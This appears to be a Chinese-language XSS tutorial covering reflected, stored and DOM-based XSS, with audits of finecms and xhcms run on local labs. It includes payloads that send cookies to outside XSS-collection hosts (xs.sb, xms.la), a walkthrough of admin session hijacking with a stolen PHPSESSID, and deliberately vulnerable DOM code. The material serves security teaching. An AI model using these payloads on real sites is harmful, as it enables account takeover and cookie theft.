0x01 漏洞概述
我们如何登录管理员后台:
1.我们找到后台地址然后输入账号密码
2.我们可以不用通过输入账号密码也可以吗?
Cookie:它是一串字符串,这串字符串代表你的身份
PHPSESSID=osfqps4akio5l215qn4rbj8fb7(bluecms)
小tips:如果一个cookie是很多变量和值我们怎么来添加呢,cookie其实跟php一样也是;结尾的
比如这里zzzcms(这里需要设置跟路径)我们登录一个账号
我们可以看到存在一个cookie值
ep60hmur7cbjhvld1jfufvtcb2
换一个浏览访问http://127.0.0.1/?user/ 显示结果为:
然后替换为之前的cookie然后再f5刷新
可以看到直接访问成功
所以说我们登录后台不一定要用sql注入,社工这类方法
xss的最大作用就是获取cookie
Cookie存放于用户的浏览器里面,所以说如果可以操作你的浏览器就可能获取到你的Cookie信息
XSS其实也是注入的一种,称为前端注入比如sql注入其实是把输入的传参当中sql语句执行xss是会把输入的传参当中前端代码执行,前端代码就包括为html,css,javascript,其中js是操作浏览器的语言,可能会想到我不会js怎么办,其实问题不大,因为我们搞渗透测试和开发不一样,我们只需要看,或者掌握一些特殊的语法函数就行了,过多的我们不用学习,比如就单纯的web就包括.net java php 前端代码等等,如果都掌握那就花费大多时间,就js来说,它就可以去做动画这类,所以不用学习太深入,是没有意义的。其实记住一句话就行xss其实就是把用户输入的传参当作前端代码执行
如果cookie中设置了HttpOnly属性,那么通过js脚本将无法读取到cookie信息,这样能有效的防止XSS攻击,窃取cookie内容,这样就增加了cookie的安全性,即便是这样,也不要将重要信息存入cookie。XSS全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
xss能做什么:
盗取cookie(最频繁)
获取内网ip
获取浏览器保存的明文密码
截取网页屏幕
网页上的键盘记录
xss的类型:
反射型
储存型
DOM型
0x02 反射型xss
反射型xss就是你提交的数据成功的实现了xss,但是仅仅是对你这次访问产生了影响,你的传参是不会进入数据库的,是非持久的攻击。
它需要构建一个专门的语句,如果去掉了再刷新是不会执行的,所以反射型xss主要运用于诱骗别人去访问你的链接来获取你的信息,比如说你想入侵一个系统,你知道某会员用户喜欢小动物,说这里面的小猫小狗好可爱来诱骗他点击
我们请求网站的过程:1.请求网站 2.网站返回前端代码 3.我们的浏览器根据前端代码解析执行 4.渲染出页面
什么情况下会你写的东西会被当做js处理?
三种触发方式:
2.1 标签触发:
我们还是来到pikachu
这里我们输入test,可以看到url和下面文本都显示了我们输入的内容
我们把test改为,可以看到这里做了限制输入长度
但是我们可以直接输入的内容就是显示在url里面的所以我们直接修改url
然后可以发现文本也没有显示我们的内容
因为我们输入的内容被当成代码执行了,没有当成文本,所以就成功利用了,这里只要一刷新,我们输入的内容就没有,所以这里只是构造的语句然后执行
比如在这里我们什么不输入然后提交
可以看到提示我们输入kobe试试,我们输入1试试
可以看到他说who is 1,i don not care!
这里我们输入或者输入
这里可以看到其实就是执行成功了,但是我们其实证明还是需要弹窗或者直接打攻击代码窃取cookie,因为其他有不确定性因素
2.2 伪协议触发
伪协议不同于网上所真实存在的协议比如:http://,ftp://等等,伪协议只有关联应用才能够用,比如php:// tencent://(QQ), javascript:伪协议实际上声明了url的主体是任意的javascript代码,就比如说你电脑不装php就没有php://这个伪协议,但是你电脑什么都不装却有http://,https://等协议,伪协议跟标签不一样,标签是浏览器自动,而伪协议是点击触发,需要别人去点击。
比如:<a href="Javascript:alert(1)">1
我们点击1,可以看到弹框成功
2.3 事件触发
比如说我中奖500万,我们高兴,那么我中奖这是一个事件,我很高兴这是我的反应。
满足某种条件自动触发比如<DIV onmouseleave="alert('bem')" style="123456
0x03 储存型xss
那么我们如何盗取cookie呢?盗取cookie代码相对复杂,但是我们前辈已经有很多人搭建了,搭建xss平台的一般来说都是做安全的,那么说不定就往我们浏览器里偷点东西,所以我们最好使用无痕的浏览器去访问
比如我们打了一个雅虎,淘宝等大型网站cookie,其实在这个xss平台的后台也会记录,平台管理员就可以用我们打的cookie去一样操作,但是一般我们正常用来他是不会管的
这里我们就用网上的平台https://xs.sb/xss.php
cookie是有实效性的,比如说你登录某个网站长时间不动,你就需要重新登录,keepsession就是为了保持cookie不失效,它会自己隔一段时间去帮你访问一次防止失效,这里来插入我们的靶机
我们把<img sRC=//xs.sb/pe4R/xss.jpg>插入到靶机
然后就可以查看到信息
我们这里来抓包其实就可以看到有个xs.sb的请求
储存xss一般出现点:任何可能插入数据库的地方,比如:用户注册的时候,留言板,上传文件名,以及管理员可见的报错信息
不进入数据库可不可能存在储存型xss?数据是不一定存储在数据库里面的,其实存不存入数据库跟储存型xss不没有关联的,它的本质就是存储起来然后释放出来,所以你存储在一个txt一个log文件里面,或者某个缓存里面都可以的,比如一个cms你登陆错误会有日志产生,那我们把前台登录信息改为恶意代码,那么就在日志里面出现了问题
储存型xss一定要在有框的地方才行嘛?比如有些cms你在后台登录,会提示上次登录ip,那么我们是否可以操作xff呢,这里还有个小demo,这里我们有个10分钟邮箱,是用来临时接受邮箱信息的,我们给他发我们的xss代码过去
http://24mail.chacuo.net/
我们这边生成一个临时邮箱
然后我们去发送xss代码
可以看到也成功弹窗了,这里就有个总结:
用户的输入,一般控制的很严格。系统的获取,一般控制的不严格
用户的输入就是我们输入进去的东西,系统的获取例如我从数据库中获取,我接受到的邮件,我收到的信息等等,就比如一个钓鱼的手法,我们钓鱼管理员的时候我们让他去下载别的网站的文件他可能就会有所怀疑,但是如果把木马文件存放在他自己的网站里面,他可能就不会怀疑
0x04 xss代码审计一
这里我们用到finecms v5.3.0
这里需要设置网站根目录
这套cms会把错误日志展示到后台里面,而且写入的时候
没有过滤
比如我们随便添加一个m参数
http://127.0.0.1/index.php?c=category&id=3&m=222
可以看到后台就存在错误日志
所以我们构造我们的payload
http://127.0.0.1/index.php?c=category&id=3&m=<script src=//xms.la/2SE2B></script>
在后台刷新查看,可以看到成功打到了cookie
PHPSESSID=ep60hmur7cbjhvld1jfufvtcb2
可以看到直接为admin账户了
我们来到代码这个问题出现在finecmsfinecmssystemcoreLog.php该文件的170行的write_log函数
然后在传递给fwrite方法的时候没有做任何过滤
然后我们寻找调用write_log函数的地址
G:phpstudyPHPTutorialWWWcmsfinecmsfinecmssystemcoreCommon.php
继续查看调用log_message函数的位置
G:phpstudyPHPTutorialWWWcmsfinecmsfinecmssystemcoreExceptions.php
可以看到这个show_404调用了
log_message方法
0x05 xss代码审计二
这里使用了熊海(xhcms),现在前台留言
然后来到后台刷新
http://127.0.0.1/admin/?r=login
先提交抓包看下请求包为
先来到index.php
可以看到请求的为files的目录下的get参数文件,这里就为submit打开
可以看到除了内容其他都没有过滤
0x06 DOM XSS
DOM—based XSS漏洞是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞。
DOM其实就是通过js操作浏览器,这就是一个dom树
所谓的树就是有树枝,树干,分支
Document对象使我们可以从脚本中对HTML页面中的所有元素进行访问
Document对象属性
document.cookie可以获取cookie但是有时候确获取不了,这是因为httponly的原因这是防御的一种手段
我们最常用的就是lastModified我们如果获取的时间f5刷新不变的话说明是个静态网站反之动态
document.write写内容到页面上
页面分为:动态和静态
伪静态:动态页面伪装成静态页面,让黑客不去攻击。静态页面无法产生严重的攻击,因为它没法跟网站进行传参的
几大常见的dom xss
document.write(支持native编码)
innerHTML(用来设置或获取位于对象起始和结束标签内的HTML)
eval(当中代码执行)
http://127.0.0.1/1.html?name=
DOM型xss=>通过js处理后产生的xss,不是储存也不是反射,但是一般来说是反射
<script>
var pos=document.URL.indexOf("name=")+5;
var username = unescape(document.URL.substring(pos,document.URL.length));
var r='<b>'+username+'</b>'
document.write(r);
</script>
比如说这里我们构造一个xss发给受害者,这里其实就是形成一个类似反射的,这个就是dom型xss,就是js处理后的xss,而且不会在服务器日志里面留下任何痕迹
<div id='test'>1</div>
<input type="button" onclick=fun() value="点击有惊喜">
<script>
function fun(){
var url = unescape(document.URL);
var pos = url.indexOf("name=")+5;
document.getElementById("test").innerHTML="Hi,<b>"+url.substring(pos,url.length)+'</b>';}
</script>
可以看到说可以设置那么
document.getElementById("test").innerHTML=''
这里script标签是不行的,这里记住就行,这是规则问题
那么这里利用就是http://127.0.0.1/2.html?name=再点击就可以了
<h1>hello world</h1>
<script>
var a = location.hash.substr(1);
eval(a);
</script>
location.hash其实就是个锚点(举例百度百科目录),可以理解为本页面的超链接
比如我们构造http://127.0.0.1/3.html#11再location.hash.substr();为#11,输入1就是输出#后面的全部